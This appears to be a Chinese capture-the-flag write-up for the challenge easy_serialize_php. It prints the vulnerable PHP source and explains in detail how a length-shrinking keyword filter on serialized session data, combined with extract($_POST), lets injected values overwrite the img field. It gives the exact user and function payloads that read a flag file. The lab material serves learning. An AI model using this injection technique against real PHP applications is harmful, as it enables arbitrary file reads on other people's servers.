[安洵杯 2019]easy_serialize_php 1 WP

这道题目考察的主要是序列化与反序列化过程中,对象逃逸的一个漏洞。

说是对象逃逸,我觉得可能叫对象注入比较形象。

首先题目上来可以看到源码

<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
} if($_SESSION){
unset($_SESSION);
} $_SESSION["user"] = 'guest';
$_SESSION['function'] = $function; extract($_POST); if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
} if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
} $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

变量覆写

首先关于这个部分

extract($_POST);

使用这个,我们可以任意post东西上去,覆写任意变量。

比如我们post一个SESSION['haha'] = 1, 这个时候原来SESSION的user,function和img项全部会消失,SESSION会只剩一个haha项,值为1

当然,如果我们post三个值user,function和img项上去,就可以替换原来的值

这里倒没有那么方便,因为img的处理是在post之后进行的。

关于题目内容

简要概括一下就是对session的处理。

session里有三个参数

参数名 参数内容 参数用处
user “guest" 用户名一类的参数,后面这里是溢出的payload入口
function \(function = @\)_GET['f']; 由代码观察,这里是用于放入所选的函数的入口,如 highlight_file, phpinfo, show_image等
img base64_encode('guest_img.png') 如果没有输入img_path, 就对img做这样的处理
sha1(base64_encode($_GET['img_path'])) 如果输入了img_path参数,就对img_path做这样的处理。

我们希望使用代码最后一句echo file_get_contents(base64_decode($userinfo['img']));读取到文件内容,

即phpinfo中core部分可以找到的d0g3_f1ag.php文件。

所以我们要让base64_decode($userinfo['img'] == "d0g3_f1ag.php"

所以$userinfo['img'] 要等于 ZDBnM19mMWFnLnBocA==

$_SESSION序列化后, 使用原函数中的filter过滤,然后再反序列化得到这里的$_userinfo。

但是原函数带的对img的处理方式有点让人难以接受,它对其Sha1哈希处理,没有办法利用,随引入本题使用的方式,序列化注入。

序列化逃逸(注入)

回顾一下题目对SESSION的处理。

SESSION --(序列化)--> --(filter函数过滤)--> --(反序列化)--> userinfo --> 读取以userinfo['img']为文件名的内容

在这个序列化和反序列化中间,多了一个过滤的步骤,这就让我们有机可趁。

反序列化从字符串构建变量,依靠关于变量长度的描述。

比如

s:4:"user"

读取这个user字符串,反序列化函数读取到4,就知道这个字符串有4个长度,遂读取4个字符。

然而,对于这个字符串

s:12:"flagflagflag";s:5:"guest";s:2:"hi";

在经过过滤后会变成

s:12:"";s:5:"guest";s:2:"hi";

这个时候,反序列化函数会根据前面的12,读取12个字符,生成这么一个对象

";s:5:"guest

它的值是

hi

知道了这么一个技巧后,我们就可以精心构建一个字符串

我们希望最终构建一个这样的SESSION

<?php
$_SESSION["user"] = "anything";
$_SESSION["function"] = "haha";
$_SESSION["img"] = "ZDBnM19mMWFnLnBocA=="; echo(serialize($_SESSION));
?> ##a:3:{s:4:"user";s:8:"anything";s:8:"function";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

然而,如果正常按照题目流程,生成的SESSION应该是这个样子的

<?php
$_SESSION["user"] = "guest";
$_SESSION["function"] = "highlight_file";
$_SESSION["img"] = base64_encode('guest_img.png'); echo(serialize($_SESSION));
?> ##a:3:{s:4:"user";s:5:"guest";s:8:"function";s:14:"highlight_file";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

我们考虑使用user的值,来吞掉后面的部分,即在guest的位置注入,然后让它一直吞到function后面那个数字冒号的位置,让传到function的值来充当原来的值(吞掉的为下面的黑色粗体方框内容)

a:3:{s:4:"user";s:5:"guest【";s:8:"function";s:14:】"highlight_file";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

所以function的值应该包含这些

;s:8:"function";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

题目中过滤掉了php,flag,即3位和4位的字符串,我们需要吞掉22位,考虑php*6 + flag

phpphpphpphpphpphpflag

最终服务端构建出来的字符串为这个样子(黑粗体方框内为我们传入的function内容)

a:3:{s:4:"user";s:22:"phpphpphpphpphpphpflag";s:8:"function";s:66:【";s:8:"function";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}】";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

经过过滤后是这个样子的

a:3:{s:4:"user";s:22:"";s:8:"function";s:66:";s:8:"function";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

这串字符串中,各个变量值为

变量名 变量值
user ";s:8:"function";s:66:
function haha
img ZDBnM19mMWFnLnBocA==

这样我们便完成了对img的覆写。原来的img覆写内容被丢在了序列化字符串外边,没有收到反序列化函数的光顾,像个孤儿。

最终我们传入的参数为

参数名 参数值
user phpphpphpphpphpphpflag
function ;s:8:"function";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
f show_image (get方式上传)

看下最终效果。

可以看到, 他说flag在/d0g3_fllllllag,我们同理读取

Base64后为

L2QwZzNfZmxsbGxsbGFn

记得包括斜杠

奈斯

[安洵杯 2019]easy_serialize_php 1 WP的更多相关文章

  1. [安洵杯 2019]easy_serialize_php

    0x00 知识点 PHP反序列化的对象逃逸 任何具有一定结构的数据,只要经过了某些处理而把自身结构改变,则可能会产生漏洞. 参考链接: https://blog.csdn.net/a3320315/a ...

  2. [安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞

    [安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞 刚开始是403,扫描以下目录,扫描到三个目录. [18:06:19] 200 - 1KB - /REA ...

  3. buuctfweb刷题wp详解及知识整理----[安洵杯 2019]easy_web

    尝试之路加wp 观察源代码和get所传参数可猜测img所传参数img就是该图片经过两次base64编码和一次hex编码后可得555.png成果验证猜测 然后发现该图片以data元数据封装的方式放到了源 ...

  4. [安洵杯 2019]easy_web

    0x00 知识点 md5强类型的绕过 方法比较固定: POST: a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%d ...

  5. 刷题[安洵杯 2019]easy_web

    前置知识 md5碰撞: %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e% ...

  6. [安洵杯 2019]easy_web-1

    1.首先打开题目如下: 2.观察访问的地址信息,发现img信息应该是加密字符串,进行尝试解密,最终得到img名称:555.png,如下: 3.获得文件名称之后,应该想到此处会存在文件包含漏洞,因为传输 ...

  7. 安洵杯iamthinking(tp6反序列化链)

    安洵杯iamthinking tp6pop链 考点: 1.tp6.0反序列化链 2.parse_url()绕过 利用链: 前半部分利用链(tp6.0) think\Model --> __des ...

  8. 2019 安洵杯 Re 部分WP

    0x01.EasyEncryption 测试文件:https://www.lanzous.com/i7soysb 1.IDA打开 int sub_416560() { int v0; // eax i ...

  9. 2022安洵杯pwn-babyarm

    首先就是绕过一个简单的变表base64的加密key 然后就是一个类似ret2libc的利用方式,不过没有直接控制r0的gadget 使用的是arm32中万能的gadget from pwn impor ...

  10. 2021美团安洵暗泉re部分复现

    typora-copy-images-to: ./ 安洵杯 sign_in 贪吃蛇 虽然没啥用 smc解密拿一下flag相关的部分 倒着看看sub_40105F 和sub_401055函数 写出解密算 ...

随机推荐

  1. 使用Node.js打造交互式脚手架,简化模板下载与项目创建

    在上一篇文章中,我们探讨了如何构建一个通用的脚手架框架.今天,我们将在此基础上进一步扩展脚手架的功能,赋予它下载项目模板的能力. 通常情况下,我们可以将项目模板发布到 npm 上,或者在公司内部利用私 ...

  2. idle如何调试程序

    1.启动idle ctrl+n 快捷键 新建命令窗口 输入程序 4.F5 调试程序,结果看在启动界面查看

  3. QSound、QSoundEffect播放WAV音频

    QSound.QSoundEffect播放WAV音频 本文旨在介绍QSound.QSoundEffect的简单播放音频的方法以及对这两个类的一些基本介绍 文章目录 QSound.QSoundEffec ...

  4. ollama系列1:轻松3步本地部署deepseek,普通电脑可用

    本文主要介绍如何通过ollama快速部署deepseek.qwq.llama3.gemma3等大模型,网速好的小伙伴10分钟就能搞定.让你摆脱GPU焦虑,在普通电脑上面玩转大模型. 安装指南(无废话版 ...

  5. Grafana导入 json 文件的 dashboard 错误 Templating Failed to upgrade legacy queries Datasource xxx not found

    前言 编辑或者修改后的 dashboard 保存为 json 文件,在其他环境导入使用,报错 Failed to upgrade legacy queries Datasource xxxxxxx w ...

  6. mac ssh 密钥登陆远程服务器

    第一步 创建ssh文件目录 打开终端 执行: mkdir ~/.ssh 第二步 将密钥对移到ssh目录下 mv ~/Downloads/MyKeyPair.pem ~/.ssh/MyKeyPair.p ...

  7. JDK 24 发布,新特性解读!

    真快啊!Java 24 这两天已经正式发布啦!这是自 Java 21 以来的第三个非长期支持版本,和 Java 22.Java 23一样. 下一个长期支持版是 Java 25,预计今年 9 月份发布. ...

  8. Oracle DB 关于CONNECT、RESOURCE 和DBA 角色权限

    授予角色的语法: grant <object/system privilege> to <role name>; 一般情况下,在新建数据库用户后,都会习惯性的给用户授权CONN ...

  9. Spring Cloud Gateway限流极速部署:3步搞定,秒级防护微服务!

    Spring Cloud Gateway限流极速部署:3步搞定,秒级防护微服务! 想要快速为Spring Cloud Gateway集成限流功能?本文提供最简方案,无需复杂配置,三步即可完成!通过内置 ...

  10. sql查询语句典例整理

    简单查询: 1.SELECT * FROM 表名称 WHERE 字段名 LIKE '查询内容' 1). SELECT * FROM member WHERE NickName LIKE '贝克汉姆': ...